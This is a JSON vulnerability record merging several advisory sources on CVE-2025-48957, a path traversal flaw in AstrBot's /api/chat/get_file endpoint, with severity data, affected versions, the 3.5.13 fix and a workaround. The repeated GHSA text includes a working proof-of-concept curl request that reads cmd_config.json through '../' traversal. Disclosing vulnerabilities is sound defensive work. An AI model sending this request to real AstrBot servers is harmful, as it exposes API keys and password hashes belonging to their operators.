{"id":"CVE-2025-48957","aliases":["EUVD-2025-16634","GHSA-cq37-g2qp-3c2p","PYSEC-2026-1196"],"status":"published","title":"AstrBot Has Path Traversal Vulnerability in /api/chat/get_file","description":"AstrBot is a large language model chatbot and development framework. A path traversal vulnerability present in versions 3.4.4 through 3.5.12 may lead to information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. The vulnerability has been addressed in Pull Request #1676 and is included in version 3.5.13. As a workaround, users can edit the `cmd_config.json` file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later to fully resolve this issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00771,"percentile":0.55985,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-23"],"published":"2025-06-02T11:16:14Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"PyPI","package":"astrbot","fixed_in":["3.5.13"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"astrbot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.4"},{"last_affected":"3.5.12"},{"fixed":"3.5.13"}]}]},{"source":"osv","ecosystem":"PyPI","package":"astrbot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.4"},{"fixed":"3.5.13"}]}],"versions":["3.4.39","3.5.10","3.5.11","3.5.12","3.5.6","3.5.7","3.5.8","3.5.9"]},{"source":"osv","ecosystem":"PyPI","package":"astrbot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.4"},{"fixed":"3.5.13"}]}],"versions":["3.4.39","3.5.10","3.5.11","3.5.12","3.5.6","3.5.7","3.5.8","3.5.9"]}],"products":[{"vendor":"astrbot","product":"astrbot"},{"vendor":"astrbotdevs","product":"astrbot"}],"references":[{"url":"https://github.com/AstrBotDevs/AstrBot/security/advisories/GHSA-cq37-g2qp-3c2p","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/AstrBotDevs/AstrBot/issues/1675","tags":["x_refsource_MISC","Exploit","Issue Tracking","report","web"]},{"url":"https://github.com/AstrBotDevs/AstrBot/pull/1676","tags":["x_refsource_MISC","Exploit","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/AstrBotDevs/AstrBot/commit/cceadf222c46813c7f41115b40d371e7eb91e492","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://www.vicarius.io/vsociety/posts/cve-2025-48957-detect-astrbot-dashboard-vulnerability?prevUrl=wizard","tags":["Exploit","Third Party Advisory","web"]},{"url":"https://www.vicarius.io/vsociety/posts/cve-2025-48957-mitigate-astrbot-dashboard-vulnerability?prevUrl=wizard","tags":["Mitigation","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48957","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cq37-g2qp-3c2p","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/48xxx/CVE-2025-48957.json","tags":["advisory"]},{"url":"https://github.com/AstrBotDevs/AstrBot","tags":["package"]},{"url":"https://pypi.org/project/astrbot","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-48957","title":"AstrBot Has Path Traversal Vulnerability in /api/chat/get_file","description":"AstrBot is a large language model chatbot and development framework. A path traversal vulnerability present in versions 3.4.4 through 3.5.12 may lead to information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. The vulnerability has been addressed in Pull Request #1676 and is included in version 3.5.13. As a workaround, users can edit the `cmd_config.json` file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later to fully resolve this issue.","status":"published","published":"2025-06-02T11:16:14.37Z","modified":"2025-06-23T18:03:57.703Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-23"],"updated_at":"2026-11-02T14:32:41.41198Z"}],"euvd":[{"id":"EUVD-2025-16634","description":"AstrBot is a large language model chatbot and development framework. A path traversal vulnerability present in versions 3.4.4 through 3.5.12 may lead to information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. The vulnerability has been addressed in Pull Request #1676 and is included in version 3.5.13. As a workaround, users can edit the `cmd_config.json` file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later to fully resolve this issue.","status":"published","published":"2025-06-02T11:16:14Z","modified":"2025-06-23T18:03:57Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T20:32:17.832534Z"}],"ghsa":[{"id":"GHSA-cq37-g2qp-3c2p","title":"AstrBot Has Path Traversal Vulnerability in /api/chat/get_file","description":"### Impact\n\nThis vulnerability may lead to:\n\n* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.\n\n### Reproduce\n\nFollow these steps to set up a test environment for reproducing the vulnerability:\n\n1. Install dependencies and clone the repository:\n\n   ```bash\n   pip install uv\n   git clone https://github.com/AstrBotDevs/AstrBot \u0026\u0026 cd AstrBot\n   uv run main.py\n   ```\n\n2. Alternatively, deploy the program via pip:\n\n   ```bash\n   mkdir astrbot \u0026\u0026 cd astrbot\n   uvx astrbot init\n   uvx astrbot run\n   ```\n\n3. In another terminal, run the following command to exploit the vulnerability:\n\n   ```bash\n   curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json\n   ```\n\nThis request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).\n\n### Patches\n\nThe vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions \u003e= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.\n\n### Workarounds\nUsers can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.\n\n### References\n\n* [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676)\n* [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)","status":"published","published":"2025-06-04T23:54:35Z","modified":"2025-06-27T22:09:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-23"],"updated_at":"2026-11-02T14:38:48.783737Z"}],"nvd":[{"id":"CVE-2025-48957","description":"AstrBot is a large language model chatbot and development framework. A path traversal vulnerability present in versions 3.4.4 through 3.5.12 may lead to information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. The vulnerability has been addressed in Pull Request #1676 and is included in version 3.5.13. As a workaround, users can edit the `cmd_config.json` file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later to fully resolve this issue.","status":"published","published":"2025-06-02T12:15:25.68Z","modified":"2026-06-17T09:30:34.06Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-23","CWE-22"],"updated_at":"2026-11-02T14:11:10.143444Z"}],"osv":[{"id":"CVE-2025-48957","title":"AstrBot Has Path Traversal Vulnerability in /api/chat/get_file","description":"AstrBot is a large language model chatbot and development framework. A path traversal vulnerability present in versions 3.4.4 through 3.5.12 may lead to information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. The vulnerability has been addressed in Pull Request #1676 and is included in version 3.5.13. As a workaround, users can edit the `cmd_config.json` file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later to fully resolve this issue.","status":"published","published":"2025-06-02T11:16:14.37Z","modified":"2026-10-28T02:30:25.777024965Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-23"],"updated_at":"2026-11-02T15:44:50.037003Z"},{"id":"GHSA-cq37-g2qp-3c2p","title":"AstrBot Has Path Traversal Vulnerability in /api/chat/get_file","description":"### Impact\n\nThis vulnerability may lead to:\n\n* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.\n\n### Reproduce\n\nFollow these steps to set up a test environment for reproducing the vulnerability:\n\n1. Install dependencies and clone the repository:\n\n   ```bash\n   pip install uv\n   git clone https://github.com/AstrBotDevs/AstrBot \u0026\u0026 cd AstrBot\n   uv run main.py\n   ```\n\n2. Alternatively, deploy the program via pip:\n\n   ```bash\n   mkdir astrbot \u0026\u0026 cd astrbot\n   uvx astrbot init\n   uvx astrbot run\n   ```\n\n3. In another terminal, run the following command to exploit the vulnerability:\n\n   ```bash\n   curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json\n   ```\n\nThis request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).\n\n### Patches\n\nThe vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions \u003e= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.\n\n### Workarounds\nUsers can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.\n\n### References\n\n* [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676)\n* [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)","status":"published","published":"2025-06-04T23:54:35Z","modified":"2026-09-10T03:50:25.264985334Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-23"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"PYSEC-2026-1196","title":"AstrBot Has Path Traversal Vulnerability in /api/chat/get_file","description":"### Impact\n\nThis vulnerability may lead to:\n\n* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.\n\n### Reproduce\n\nFollow these steps to set up a test environment for reproducing the vulnerability:\n\n1. Install dependencies and clone the repository:\n\n   ```bash\n   pip install uv\n   git clone https://github.com/AstrBotDevs/AstrBot \u0026\u0026 cd AstrBot\n   uv run main.py\n   ```\n\n2. Alternatively, deploy the program via pip:\n\n   ```bash\n   mkdir astrbot \u0026\u0026 cd astrbot\n   uvx astrbot init\n   uvx astrbot run\n   ```\n\n3. In another terminal, run the following command to exploit the vulnerability:\n\n   ```bash\n   curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json\n   ```\n\nThis request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).\n\n### Patches\n\nThe vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions \u003e= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.\n\n### Workarounds\nUsers can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.\n\n### References\n\n* [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676)\n* [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)","status":"published","published":"2026-07-07T16:02:53.742707Z","modified":"2026-07-07T17:46:22.631166274Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:54.622769Z"}]}}